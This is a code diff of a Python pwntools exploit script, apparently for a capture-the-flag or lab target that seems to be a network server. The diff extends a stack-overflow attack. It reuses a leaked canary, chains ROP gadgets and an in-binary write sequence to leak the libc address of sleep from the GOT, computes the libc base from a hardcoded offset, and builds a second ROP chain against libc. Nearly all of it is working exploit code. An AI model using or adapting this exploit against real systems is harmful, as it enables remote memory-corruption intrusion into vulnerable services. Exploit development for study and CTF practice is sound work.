|
25 | 25 |
|
26 | 26 |
|
27 | 27 | e = ELF(local_file)
|
| 28 | +libc = e.libc |
28 | 29 | context.binary = e
|
29 | 30 | context.log_level = "info"
|
30 | 31 |
|
@@ -223,46 +224,66 @@ def main():
|
223 | 224 | print(hex(program_base_offset))
|
224 | 225 | e.address = program_base_offset
|
225 | 226 |
|
226 |
| - #leak libc rop chain |
| 227 | + |
| 228 | + # |
| 229 | + #leak libc with a rop chain |
| 230 | + # |
227 | 231 | rop = ROP(e)
|
228 |
| - # this clobbers rdx with the pointer in rdi |
229 |
| - # rop.call('strlen', [e.symbols['_IO_stdin_used']+0x16]) |
230 |
| - |
231 |
| - # this clobbers rdx with a pointer |
232 |
| - # rop.call('getcwd', [0,0]) |
233 |
| - read_addr = e.symbols['_IO_stdin_used']+0x18 #html string |
234 |
| - read_addr = e.got['sleep'] |
235 |
| - rop(r12=4, rbx=20, rbp=read_addr) |
236 |
| - # rop.r12 = 4 |
237 |
| - # rop.rbx = 20 |
238 |
| - # rop.rbp = e.symbols['_IO_stdin_used']+0x18 #html string |
239 |
| - |
240 |
| - write_primitive = program_base_offset+0x260c |
| 232 | + rop(r12=4, rbx=20, rbp=e.got['sleep']) |
| 233 | + """ |
| 234 | + not a gadget: allows us to call write with registers |
| 235 | + we control, then it will crash |
| 236 | + 0x0260c mov rdx,rbx |
| 237 | + 0x0260f mov rsi,rbp |
| 238 | + 0x02612 mov edi,r12d |
| 239 | + 0x02615 call 0x22d0 <write@plt> |
| 240 | + """ |
| 241 | + write_primitive = program_base_offset + 0x260c |
241 | 242 | rop.raw(write_primitive)
|
242 | 243 |
|
243 |
| - #these two work, but we need a value not too large in rdi |
244 |
| - # rop.call('write', [4, (e.symbols['_IO_stdin_used']+0x18)]) #html string |
245 |
| - # rop.call('write', [4, e.got['sleep']]) |
246 |
| - |
247 |
| - # rop.call('client_error', [4, e.got['sleep']]) |
248 |
| - # rop.call('sleep', [4]) #this sleep is here to help debugging |
249 |
| - |
250 | 244 | payload = b''
|
251 | 245 | payload += canary_bytes
|
252 | 246 | payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip
|
253 | 247 | payload += rop.chain()
|
254 | 248 | print(rop.dump())
|
255 | 249 | p = run_expl(payload)
|
256 | 250 |
|
| 251 | + # |
257 | 252 | #parse the libc leak
|
258 |
| - # p.interactive() |
259 |
| - out = p.clean(timeout=6) |
| 253 | + # |
| 254 | + p.recvuntil(b'File not found') |
| 255 | + libc_sleep_bytes = p.recv(numb=8) |
| 256 | + print(libc_sleep_bytes) |
| 257 | + out = p.clean() |
260 | 258 | print(out)
|
261 | 259 | p.close()
|
262 | 260 |
|
263 |
| - #TODO: calculate libc address |
264 |
| - # libc = e.libc |
265 |
| - # libc.address = libc_base |
| 261 | + # |
| 262 | + #calculate libc base offsest |
| 263 | + # |
| 264 | + libc_sleep_addr = u64(libc_sleep_bytes) |
| 265 | + libc_sleep_base_addr = 0xc2570 #WARNING: hardcoded for a specific libc |
| 266 | + libc_base = libc_sleep_addr - libc_sleep_base_addr |
| 267 | + libc.address = libc_base |
| 268 | + |
| 269 | + print("leaked libc addr:") |
| 270 | + print(hex(libc_sleep_addr)) |
| 271 | + print("libc base addr:") |
| 272 | + print(hex(libc_base)) |
| 273 | + |
| 274 | + #rop chain |
| 275 | + rop = ROP([e, libc]) |
| 276 | + rop.call('sleep', [4]) #used for debugging. no sleep=premature crash |
| 277 | + |
| 278 | + payload = b'' |
| 279 | + payload += canary_bytes |
| 280 | + payload += b'\x00' * SAVED_REG_SIZE #registers stored before rip |
| 281 | + payload += rop.chain() |
| 282 | + print(rop.dump()) |
| 283 | + p = run_expl(payload) |
| 284 | + out = p.clean(timeout=6) |
| 285 | + print(out) |
| 286 | + p.close() |
266 | 287 |
|
267 | 288 |
|
268 | 289 |
|
|
0 commit comments